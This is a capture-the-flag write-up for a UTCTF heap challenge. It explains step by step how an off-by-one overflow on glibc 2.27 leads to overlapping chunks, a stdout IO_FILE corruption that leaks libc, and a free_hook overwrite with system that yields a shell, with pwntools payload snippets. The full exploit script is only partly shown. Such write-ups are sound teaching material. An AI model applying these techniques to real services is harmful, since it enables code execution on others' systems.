We should cancel all pwners. by jitterbug
nc binary.utctf.live 9050
- Allocate 4 chunks A[0x18], B[0x18], C[0x70], D[0x21].
- Free chunk A[0x18].
- Allocate a new chunk A[0x18] and use off by one overflow to change size of B to 0x91.
- Free chunk B, this won’t return any errors because we created some fake chunks in C and D.
- B[0x90] is on unsortedbin now.
- Free chunk C.
- Next allocations will reuse space from chunk B if they fit.
- Allocate a new chunk of size 0x10 to put a libc address at the FD of chunk C.
- Malloc(0x20) and do a 4 bit brute force at the libc address present in FD to get stdout.
- Stdout is now present in the tcache[0x80] linked list.
- Second malloc of that size will write into the stdout struct.
- Modify _IO_2_1_stdout to make puts leak a libc address (Angelboy leak).
- Reuse the same technique to modify some tcache linked list pointer into free_hook.
- Write system into free_hook.
- Free a chunk that has /bin/sh\x00 as content to get a shell.
The binary is 64-bit and libc is dynamically linked.
$ file pwnable
Besides fortify everything is enabled:
$ checksec pwnable
The binary has two options, in the “add person” option we can specify the index to store the persons name and a description, for the description we can also control its size.
The cancel person option we can remove it from the list by specifying the respective index.
This technique resolves on corrupting the stdout
IO_FILE struct to make puts leak a libc address, I’m not explaining in detail the internals of printf you can find some explanations in my older write up plane market or at babytcache writeup.
To write into the stdout IO_FILE struct we kinda need to do a 4 bit brute-force in an unsorted bin libc address, but to achieve this we need to first use the off by one overflow vulnerability.
The main idea here is to use off by one to increase the size of a chunk in the unsorted bin to get some chunk overlaps via shrinking of the freed chunk and also overlapping new allocated chunks.
We can start by creating 4 chunks (A,B,C,D).
add(0x0, 'A'*8, 0x18, 'A'*0x8)
The next thing to do is to change chunk B size into 0x91, but the libc version is 2.27 which uses tcache, so any chunk bellow 0x410 will go into their respective tcache bin. To prevent this we can fill tcache[0x90] with 7 frees which is the limit of a tcache bin:
for x in range(7):
Now that tcache[0x90] is full we have to overflow chunks B size, there isn’t an edit function so we need to free chunk A first and allocate a new one there. The chunk A is now placed at tcache[0x20] if the new allocation is in same range that memory space is reused, and the new chunk will be placed at the same place as the old A. Now that we can control chunks A description we can finally modify chunks B size to 0x91.
free(0) # Insert chunk A into tcache[0x20]
The chunks created inside C and D are to prevent two security checks “prevent double-free or corruption” and “corrupted vs. prev_size” when freeing chunk B, you can check my write up penpal_world to understand more about this security checks.
Now we want to use tcache[0x90] again, we filled it before by freeing 7 times , to use it again we need to malloc the same numbers:
for x in range(7):
tcache[0x90] is now reusable again, we can now send chunk C into tcache[0x90] , chunk C is located right after chunk B which size just got increased, because of this it can be used to overlap the fd pointer of chunk C by shrinking chunk B using malloc:
add(0x11, 'A'*8, 0x10, 'A'*0x2) # put a libc address at next pointer from tcache[0x80]
add(0x12,'B'*8,0x20, '\x60\xa7') # STDOUT, trying a 4bit bruteforce
To update free_hook we can do a similar strategy we used before to edit stdout, we can start by freeing a chunk after the old chunk B located in the unsorted bin and then allocate it again to create a fake chunk inside of it(to prevent a security check error):
free(0xa+6, True) # free chunk after old chunk B
add(0x0,'B'*8,0x28, 'A'*0x28+'\xa1', True) # change size of chunk B to 0xa1
add(0x0, 'L'*8, 0x90, b'L'*0x70+p64(0)+p64(0x91)+p64(FREE_HOOK), True) # Overlapping chunk
add(0x7, b'/bin/sh\x00', 0x80, b'/bin/sh\x00', True) # prepare the first argument of system
The full exploit:
from pwn import *
$ python3 cancelled.py REMOTE